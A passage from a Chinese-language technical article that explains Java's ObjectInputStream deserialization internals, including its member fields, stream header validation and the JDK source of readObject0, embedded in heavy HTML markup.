4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">中，我们初始化的对象变成了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bin</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">vlist</code><span md-inline="plain" style="box-sizing: border-box;">以及</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">enableOverride</code><span md-inline="plain" style="box-sizing: border-box;">。</span></span></span></span></span></span></span></span></span></span></span></span></p><p style="text-align: left;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"> <span class="code-snippet__comment">/** filter stream for handling block data conversion */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> BlockDataInputStream bin;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">/** validation callback list */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> ValidationList vlist;</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__comment">/** wire handle -&gt; obj/exception map */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> HandleTable handles;</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__comment">/** if true, invoke readObjectOverride() instead of readObject() */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> boolean enableOverride;</span></code></pre></section><p style="text-align: left;"><strong><span md-inline="plain" style="box-sizing: border-box;">思考：</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bin</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">vlist</code><span md-inline="plain" style="box-sizing: border-box;">以及</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">enableOverride</code><span md-inline="plain" style="box-sizing: border-box;">各代表什么意思？</span></span></span></span></span></strong><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">首先对于</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;">和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">enableoverride</code><span md-inline="plain" style="box-sizing: border-box;">来说其和在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">中代表的含义相同：</span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;">：是一个哈希表，表示从对象到引用的映射</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">enableOverride</code></span><span md-inline="plain" style="box-sizing: border-box;">：布尔型常量，用于决定在反序列化时选用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readObjectOverride</code><span md-inline="plain" style="box-sizing: border-box;">方法还是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readObject</code><span md-inline="plain" style="box-sizing: border-box;">方法</span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">而对于</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bin</code><span md-inline="plain" style="box-sizing: border-box;">来说其实同样把它当成</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bout</code><span md-inline="plain" style="box-sizing: border-box;">去理解——因为他们作用基本相同</span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">至于</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">vlist</code><span md-inline="plain" style="box-sizing: border-box;">成员属性，它主要用于提供一个</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">callback</code><span md-inline="plain" style="box-sizing: border-box;">操作的验证集合</span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">当</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bin</code><span md-inline="plain" style="box-sizing: border-box;">被初始化后，也意味着实例化了一个</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">BlockDataInputStream</code><span md-inline="plain" style="box-sizing: border-box;">（不理解</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">BlockDataInputStream</code><span md-inline="plain" style="box-sizing: border-box;">的可以看我上一篇文章《 序列化流程分析总结》）</span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">在几个成员属性都被初始化后，调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readStreamHeader()</code><span md-inline="plain" style="box-sizing: border-box;">方法先验证魔数和序列化的版本是否匹配</span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.2957393483709273" data-s="300,640" style="" data-type="png" data-w="1596" src="https://wechat2rss.xlab.app/img-proxy/?k=5463c40b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclsHehXAPibJR4JnyaCqiaOzwTDSVeNc6C3h6kWcoVSAThQW5Z8Fvh1SYA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">如果不匹配则抛出序列化的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">StreamCorruptedMismatch</code><span md-inline="plain" style="box-sizing: border-box;">异常：</span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.2546875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b7a955be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclF2eQDgHQo5UPgfC1TicEtpxl18a5gD7vStOybaKe3DyQribykn7C9DpA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">当</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">public</code><span md-inline="plain" style="box-sizing: border-box;">构造方法走完后，才会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readObject()</code><span md-inline="plain" style="box-sizing: border-box;">开始写对象数据，该方法的主要代码如下：</span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.9154929577464789" data-s="300,640" style="" data-type="jpeg" data-w="1278" src="https://wechat2rss.xlab.app/img-proxy/?k=c61150ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclRiahlNjic5mTLJGdo5uJagGDTRNicuz9a5gRLTHALElVDWAD3M1Xzdpeg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">这个方法是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">对外的反序列化的入口，但其实它并不是核心方法，只是用于判断应该调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readObjectOverride</code><span md-inline="plain" style="box-sizing: border-box;">还是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readObject0</code><span md-inline="plain" style="box-sizing: border-box;">方法（</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">enableOverride</code><span md-inline="plain" style="box-sizing: border-box;">决定）</span></span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">由于在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">public</code><span md-inline="plain" style="box-sizing: border-box;">构造方法中已经初始化了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">enableOverride = false</code><span md-inline="plain" style="box-sizing: border-box;">，所以直接跳过第一个if分支（不调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readObjectOverride</code><span md-inline="plain" style="box-sizing: border-box;">方法），进入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readObject0</code><span md-inline="plain" style="box-sizing: border-box;">方法，该方法如下（略长）：</span></span></span></span></span></span></p><p style="text-align: left;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__comment">/**</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * Underlying readObject implementation.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> Object <span class="code-snippet__title">readObject0</span><span class="code-snippet__params">(<span class="code-snippet__keyword">boolean</span> unshared)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">boolean</span> oldMode = bin.getBlockDataMode();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (oldMode) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">int</span> remain = bin.currentBlockRemaining();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (remain &gt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> OptionalDataException(remain);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (defaultDataEnd) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">/*</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">                 * Fix for 4360508: stream is currently at the end of a field</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">                 * value block written via default serialization; since there</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">                 * is no terminating TC_ENDBLOCKDATA tag, simulate</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">                 * end-of-custom-data behavior explicitly.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">                 */</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> OptionalDataException(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            bin.setBlockDataMode(<span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> tc;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> ((tc = bin.peekByte()) == TC_RESET) {</span></code><code><span class="code-snippet_outer">            bin.readByte();</span></code><code><span class="code-snippet_outer">            handleReset();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        depth++;</span></code><code><span class="code-snippet_outer">        totalObjectRefs++;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">switch</span> (tc) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_NULL:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> readNull();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_REFERENCE:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> readHandle(unshared);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_CLASS:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> readClass(unshared);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_CLASSDESC:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_PROXYCLASSDESC:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> readClassDesc(unshared);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_STRING:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_LONGSTRING:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> checkResolve(readString(unshared));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_ARRAY:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> checkResolve(readArray(unshared));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_ENUM:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> checkResolve(readEnum(unshared));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_OBJECT:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> checkResolve(readOrdinaryObject(unshared));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_EXCEPTION:</span></code><code><span class="code-snippet_outer">                    IOException ex = readFatalException();</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> WriteAbortedException(<span class="code-snippet__string">&#34;writing aborted&#34;</span>, ex);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_BLOCKDATA:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_BLOCKDATALONG:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (oldMode) {</span></code><code><span class="code-snippet_outer">                        bin.setBlockDataMode(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">                        bin.peek();             <span class="code-snippet__comment">// force header read</span></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> OptionalDataException(</span></code><code><span class="code-snippet_outer">                            bin.currentBlockRemaining());</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> StreamCorruptedException(</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__string">&#34;unexpected block data&#34;</span>);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> TC_ENDBLOCKDATA:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (oldMode) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> OptionalDataException(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> StreamCorruptedException(</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__string">&#34;unexpected end of block data&#34;</span>);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> StreamCorruptedException(</span></code><code><span class="code-snippet_outer">                        String.format(<span 